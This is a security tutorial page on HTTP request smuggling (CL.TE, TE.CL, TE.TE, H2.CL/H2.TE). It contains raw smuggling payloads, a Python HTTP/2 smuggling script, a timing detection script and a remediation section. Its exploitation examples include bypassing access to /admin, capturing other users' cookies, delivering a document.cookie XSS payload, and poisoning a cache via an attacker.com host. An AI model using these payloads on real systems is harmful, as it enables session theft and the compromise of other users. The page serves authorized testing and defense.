Exploitation A05

HTTP Request Smuggling

HTTP Request Smuggling exploits discrepancies in how front-end and back-end servers parse HTTP requests. By crafting ambiguous requests, attackers can "smuggle" malicious requests past security controls, poison caches, or steal other users' data.

Warning

Request smuggling can affect other users and corrupt application state. Test carefully and be prepared to document any unintended side effects. Always get explicit authorization for smuggling tests.

๐Ÿ“š Quick Navigation

๐ŸŽฏ Fundamentals

โšก Advanced

๐Ÿ› ๏ธ Tools

๐Ÿงช Practice

Understanding Request Smuggling

Request smuggling occurs when front-end and back-end servers disagree on request boundaries. HTTP/1.1 uses two methods to determine where a request ends:

Content-Length

Specifies the exact number of bytes in the request body. Server reads exactly that many bytes.

Content-Length: 13

Transfer-Encoding: chunked

Body is sent in chunks, each prefixed with size. A zero-length chunk signals the end.

Transfer-Encoding: chunked

Information

When BOTH headers are present, servers must handle this ambiguity. RFC 7230 says to use Transfer-Encoding, but not all servers comply. This discrepancy enables smuggling.

CL.TE Attacks

CL.TE: Front-end uses Content-Length, back-end uses Transfer-Encoding. The front-end forwards the entire body, but the back-end stops at the 0 chunk, leaving the remainder for the next request.

clte-basic.http
http
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

How it works:

  1. Front-end reads Content-Length: 13, forwards "0\r\n\r\nSMUGGLED"
  2. Back-end uses Transfer-Encoding, reads until "0\r\n\r\n" (end of chunks)
  3. "SMUGGLED" remains in the TCP stream, prepended to the next request
  4. Next request becomes "SMUGGLEDGET /path HTTP/1.1..."

TE.CL Attacks

TE.CL: Front-end uses Transfer-Encoding, back-end uses Content-Length. The front-end processes all chunks, but the back-end only reads Content-Length bytes.

tecl-basic.http
http
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

How it works:

  1. Front-end uses Transfer-Encoding, processes chunks, forwards everything
  2. Back-end uses Content-Length: 3, only reads "8\r\n"
  3. Remaining "SMUGGLED\r\n0\r\n" becomes start of next request

TE.TE Obfuscation

Both servers support Transfer-Encoding, but one can be tricked into not processing it using obfuscation techniques:

tete-obfuscation.txt
http
# TE.TE Obfuscation Techniques

# Extra whitespace
Transfer-Encoding: chunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked (with space after)

# Non-standard values
Transfer-Encoding: xchunked
Transfer-Encoding: chunked-false
Transfer-Encoding: chunked, cow

# Case variations
Transfer-Encoding: Chunked
TRANSFER-ENCODING: chunked

# Newline injection
Transfer-Encoding: chunked
X: x[\r\n]Transfer-Encoding: chunked

# Tab character
Transfer-Encoding:\tchunked

# Duplicate headers
Transfer-Encoding: chunked
Transfer-Encoding: identity
# TE.TE Obfuscation Techniques

# Extra whitespace
Transfer-Encoding: chunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked (with space after)

# Non-standard values
Transfer-Encoding: xchunked
Transfer-Encoding: chunked-false
Transfer-Encoding: chunked, cow

# Case variations
Transfer-Encoding: Chunked
TRANSFER-ENCODING: chunked

# Newline injection
Transfer-Encoding: chunked
X: x[\r\n]Transfer-Encoding: chunked

# Tab character
Transfer-Encoding:\tchunked

# Duplicate headers
Transfer-Encoding: chunked
Transfer-Encoding: identity
tete-example.http
http
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: cow

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: cow

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

HTTP/2 Request Smuggling

HTTP/2 doesn't use Content-Length or Transfer-Encoding for message framing. However, when proxies downgrade HTTP/2 to HTTP/1.1, they may reconstruct these headers, enabling new smuggling vectors.

H2.CL

Inject a Content-Length header into HTTP/2 request. After downgrade, the injected CL causes desync.

H2.TE

Inject Transfer-Encoding header. HTTP/2 should reject it, but some proxies pass it through after downgrade.

h2-smuggling.py
python
# HTTP/2 Request Smuggling (H2.CL / H2.TE)
# HTTP/2 doesn't use Content-Length or Transfer-Encoding headers
# But downgrade to HTTP/1.1 at the proxy can reintroduce vulnerabilities

# H2.CL - Inject Content-Length into HTTP/2 request
# When downgraded to HTTP/1.1, the injected CL takes precedence

import h2.connection
import h2.events
import socket
import ssl

def h2_cl_smuggle(host, path="/"):
    """
    Send HTTP/2 request with injected Content-Length header
    If front-end downgrades to HTTP/1.1, smuggling occurs
    """
    ctx = ssl.create_default_context()
    ctx.set_alpn_protocols(['h2'])
    
    sock = socket.create_connection((host, 443))
    sock = ctx.wrap_socket(sock, server_hostname=host)
    
    conn = h2.connection.H2Connection()
    conn.initiate_connection()
    sock.sendall(conn.data_to_send())
    
    # Inject Content-Length header that will be used after downgrade
    headers = [
        (':method', 'POST'),
        (':path', path),
        (':authority', host),
        (':scheme', 'https'),
        ('content-type', 'application/x-www-form-urlencoded'),
        ('content-length', '0'),  # Injected - ignored by H2, used after downgrade
    ]
    
    # Body contains the smuggled request
    body = """GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=1"""
    
    stream_id = conn.get_next_available_stream_id()
    conn.send_headers(stream_id, headers)
    conn.send_data(stream_id, body.encode(), end_stream=True)
    sock.sendall(conn.data_to_send())
    
    # Read response
    while True:
        data = sock.recv(65535)
        if not data:
            break
        events = conn.receive_data(data)
        for event in events:
            if isinstance(event, h2.events.ResponseReceived):
                print(f"Status: {dict(event.headers).get(':status')}")
            if isinstance(event, h2.events.DataReceived):
                print(f"Body: {event.data.decode()}")
# HTTP/2 Request Smuggling (H2.CL / H2.TE)
# HTTP/2 doesn't use Content-Length or Transfer-Encoding headers
# But downgrade to HTTP/1.1 at the proxy can reintroduce vulnerabilities

# H2.CL - Inject Content-Length into HTTP/2 request
# When downgraded to HTTP/1.1, the injected CL takes precedence

import h2.connection
import h2.events
import socket
import ssl

def h2_cl_smuggle(host, path="/"):
    """
    Send HTTP/2 request with injected Content-Length header
    If front-end downgrades to HTTP/1.1, smuggling occurs
    """
    ctx = ssl.create_default_context()
    ctx.set_alpn_protocols(['h2'])
    
    sock = socket.create_connection((host, 443))
    sock = ctx.wrap_socket(sock, server_hostname=host)
    
    conn = h2.connection.H2Connection()
    conn.initiate_connection()
    sock.sendall(conn.data_to_send())
    
    # Inject Content-Length header that will be used after downgrade
    headers = [
        (':method', 'POST'),
        (':path', path),
        (':authority', host),
        (':scheme', 'https'),
        ('content-type', 'application/x-www-form-urlencoded'),
        ('content-length', '0'),  # Injected - ignored by H2, used after downgrade
    ]
    
    # Body contains the smuggled request
    body = """GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=1"""
    
    stream_id = conn.get_next_available_stream_id()
    conn.send_headers(stream_id, headers)
    conn.send_data(stream_id, body.encode(), end_stream=True)
    sock.sendall(conn.data_to_send())
    
    # Read response
    while True:
        data = sock.recv(65535)
        if not data:
            break
        events = conn.receive_data(data)
        for event in events:
            if isinstance(event, h2.events.ResponseReceived):
                print(f"Status: {dict(event.headers).get(':status')}")
            if isinstance(event, h2.events.DataReceived):
                print(f"Body: {event.data.decode()}")

Detection Techniques

Request smuggling detection relies on timing differences. If the back-end processes a partial request and waits for more data, response times will increase.

detect-smuggling.py
python
#!/usr/bin/env python3
"""
HTTP Request Smuggling Detection Script
Tests for CL.TE and TE.CL vulnerabilities using timing differences
"""
import requests
import time
import sys

def test_clte(url):
    """
    CL.TE Detection: Front-end uses Content-Length, back-end uses Transfer-Encoding
    If vulnerable, back-end will wait for more chunks and timeout
    """
    payload = """POST / HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

1
A
X"""
    
    print("[*] Testing CL.TE...")
    start = time.time()
    try:
        # Send raw request (requires socket-level control)
        import socket
        import ssl
        
        host = url.replace("https://", "").replace("http://", "").split("/")[0]
        port = 443 if url.startswith("https") else 80
        
        sock = socket.create_connection((host, port), timeout=10)
        if url.startswith("https"):
            context = ssl.create_default_context()
            sock = context.wrap_socket(sock, server_hostname=host)
        
        request = f"""POST / HTTP/1.1\r
Host: {host}\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: 4\r
Transfer-Encoding: chunked\r
\r
1\r
A\r
X"""
        sock.sendall(request.encode())
        sock.settimeout(5)
        
        try:
            response = sock.recv(4096)
            elapsed = time.time() - start
            if elapsed > 4:
                print(f"[+] CL.TE POTENTIALLY VULNERABLE - Response delayed {elapsed:.2f}s")
                return True
        except socket.timeout:
            print(f"[+] CL.TE POTENTIALLY VULNERABLE - Request timed out")
            return True
            
    except Exception as e:
        print(f"[-] Error: {e}")
    
    print("[-] CL.TE not detected")
    return False

def test_tecl(url):
    """
    TE.CL Detection: Front-end uses Transfer-Encoding, back-end uses Content-Length
    """
    print("[*] Testing TE.CL...")
    # Similar timing-based detection for TE.CL
    # Implementation follows same pattern
    pass

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <url>")
        sys.exit(1)
    
    url = sys.argv[1]
    test_clte(url)
    test_tecl(url)
#!/usr/bin/env python3
"""
HTTP Request Smuggling Detection Script
Tests for CL.TE and TE.CL vulnerabilities using timing differences
"""
import requests
import time
import sys

def test_clte(url):
    """
    CL.TE Detection: Front-end uses Content-Length, back-end uses Transfer-Encoding
    If vulnerable, back-end will wait for more chunks and timeout
    """
    payload = """POST / HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

1
A
X"""
    
    print("[*] Testing CL.TE...")
    start = time.time()
    try:
        # Send raw request (requires socket-level control)
        import socket
        import ssl
        
        host = url.replace("https://", "").replace("http://", "").split("/")[0]
        port = 443 if url.startswith("https") else 80
        
        sock = socket.create_connection((host, port), timeout=10)
        if url.startswith("https"):
            context = ssl.create_default_context()
            sock = context.wrap_socket(sock, server_hostname=host)
        
        request = f"""POST / HTTP/1.1\r
Host: {host}\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: 4\r
Transfer-Encoding: chunked\r
\r
1\r
A\r
X"""
        sock.sendall(request.encode())
        sock.settimeout(5)
        
        try:
            response = sock.recv(4096)
            elapsed = time.time() - start
            if elapsed > 4:
                print(f"[+] CL.TE POTENTIALLY VULNERABLE - Response delayed {elapsed:.2f}s")
                return True
        except socket.timeout:
            print(f"[+] CL.TE POTENTIALLY VULNERABLE - Request timed out")
            return True
            
    except Exception as e:
        print(f"[-] Error: {e}")
    
    print("[-] CL.TE not detected")
    return False

def test_tecl(url):
    """
    TE.CL Detection: Front-end uses Transfer-Encoding, back-end uses Content-Length
    """
    print("[*] Testing TE.CL...")
    # Similar timing-based detection for TE.CL
    # Implementation follows same pattern
    pass

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <url>")
        sys.exit(1)
    
    url = sys.argv[1]
    test_clte(url)
    test_tecl(url)

Detection Methods

  • Timing-based: Send ambiguous request, measure if response is delayed
  • Differential responses: Send pairs of requests, check for inconsistencies
  • Error-based: Look for "400 Bad Request" on second request
  • Response capture: Inject request that captures the next response

Exploitation Examples

exploitation-examples.http
http
# Request Smuggling Exploitation Examples

# 1. Bypass Front-End Security Controls
# Smuggle a request to /admin that front-end blocks
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 139
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable.com
Cookie: session=attacker_session
Content-Length: 10

x=

# 2. Capture Other Users' Requests
# Store the next user's request in a parameter you control
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 200
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: vulnerable.com
Cookie: session=attacker
Content-Length: 400

comment=

# When next user's request arrives, it becomes part of the comment body
# Attacker can view captured cookies/headers in comment

# 3. Reflect XSS Without User Interaction
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 150
Transfer-Encoding: chunked

0

GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
Host: vulnerable.com
X-Ignore: X

# Next user receives the XSS response

# 4. Web Cache Poisoning via Smuggling
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 130
Transfer-Encoding: chunked

0

GET /static/main.js HTTP/1.1
Host: attacker.com
X-Ignore: X

# Cache stores attacker's version of main.js
# Request Smuggling Exploitation Examples

# 1. Bypass Front-End Security Controls
# Smuggle a request to /admin that front-end blocks
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 139
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable.com
Cookie: session=attacker_session
Content-Length: 10

x=

# 2. Capture Other Users' Requests
# Store the next user's request in a parameter you control
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 200
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: vulnerable.com
Cookie: session=attacker
Content-Length: 400

comment=

# When next user's request arrives, it becomes part of the comment body
# Attacker can view captured cookies/headers in comment

# 3. Reflect XSS Without User Interaction
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 150
Transfer-Encoding: chunked

0

GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
Host: vulnerable.com
X-Ignore: X

# Next user receives the XSS response

# 4. Web Cache Poisoning via Smuggling
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 130
Transfer-Encoding: chunked

0

GET /static/main.js HTTP/1.1
Host: attacker.com
X-Ignore: X

# Cache stores attacker's version of main.js

Smuggling Tools

HTTP Request Smuggler (Burp)

Burp extension for automated detection and exploitation

Extensions โ†’ BApp Store โ†’ HTTP Request Smuggler

smuggler

Python tool for request smuggling detection

python3 smuggler.py -u https://target.com

h2csmuggler

HTTP/2 cleartext (h2c) smuggling tool

python3 h2csmuggler.py -x https://target.com

defparam/smuggler

Fast HTTP request smuggling scanner

GitHub โ†’

Using Burp HTTP Request Smuggler

  1. 1. Install from BApp Store

    Extensions โ†’ BApp Store โ†’ Search "HTTP Request Smuggler" โ†’ Install

  2. 2. Scan for vulnerabilities
    • Right-click request in Proxy/Repeater
    • Extensions โ†’ HTTP Request Smuggler โ†’ Smuggle probe
  3. 3. Interpret results
    • "CL.TE confirmed" = Front uses CL, back uses TE
    • "TE.CL confirmed" = Front uses TE, back uses CL
    • "Timeout" results may indicate partial success
  4. 4. Exploit with Turbo Intruder
    • For confirmed vulns, craft exploitation payload
    • Use Turbo Intruder for reliable delivery
  5. 5. Check for HTTP/2 support
    • Target โ†’ Site map โ†’ Check protocol column
    • Use HTTP/2 tab in Repeater for H2.CL/H2.TE tests

Practice Labs

Testing Checklist

๐Ÿ” Prerequisites

  • โ˜ Identify load balancer/CDN/proxy in use
  • โ˜ Check if HTTP/2 is supported
  • โ˜ Verify connection reuse (Keep-Alive)
  • โ˜ Map request flow through infrastructure

โšก Detection Tests

  • โ˜ Test CL.TE with timing
  • โ˜ Test TE.CL with timing
  • โ˜ Try TE.TE obfuscation variants
  • โ˜ Test HTTP/2 downgrade (H2.CL, H2.TE)
  • โ˜ Check for differential responses

๐Ÿ’ฅ Exploitation

  • โ˜ Access restricted endpoints (/admin)
  • โ˜ Capture other users' requests
  • โ˜ Poison web cache
  • โ˜ Deliver reflected XSS
  • โ˜ Bypass WAF rules

๐Ÿ“ Documentation

  • โ˜ Record exact payload that worked
  • โ˜ Document infrastructure involved
  • โ˜ Capture timing/response evidence
  • โ˜ Note any impact on other users

๐Ÿ›ก๏ธ Remediation & Defense

Defensive Measures

Server Configuration

  • โ€ข Use HTTP/2 end-to-end (eliminates CL/TE ambiguity)
  • โ€ข Configure front-end and back-end to agree on request boundaries
  • โ€ข Reject ambiguous requests with both Content-Length and Transfer-Encoding
  • โ€ข Normalize chunked encoding before forwarding

Proxy & Load Balancer

  • โ€ข Ensure the reverse proxy always uses the same parsing as the back-end
  • โ€ข Disable connection reuse between front-end and back-end
  • โ€ข Use unique per-request connections to back-end servers
  • โ€ข Keep all proxy/server software patched and up to date

Detection

  • โ€ข Monitor for requests with both CL and TE headers
  • โ€ข Alert on malformed chunked encoding
  • โ€ข Use WAF rules to detect smuggling patterns
  • โ€ข Audit request logs for unexpected request splitting

Architecture

  • โ€ข Prefer HTTP/2 or HTTP/3 throughout the entire stack
  • โ€ข Minimize the number of intermediaries in the request path
  • โ€ข Use the same web server software at each layer when possible
  • โ€ข Implement request integrity checks between layers

CWE References: CWE-444 (HTTP Request/Response Smuggling)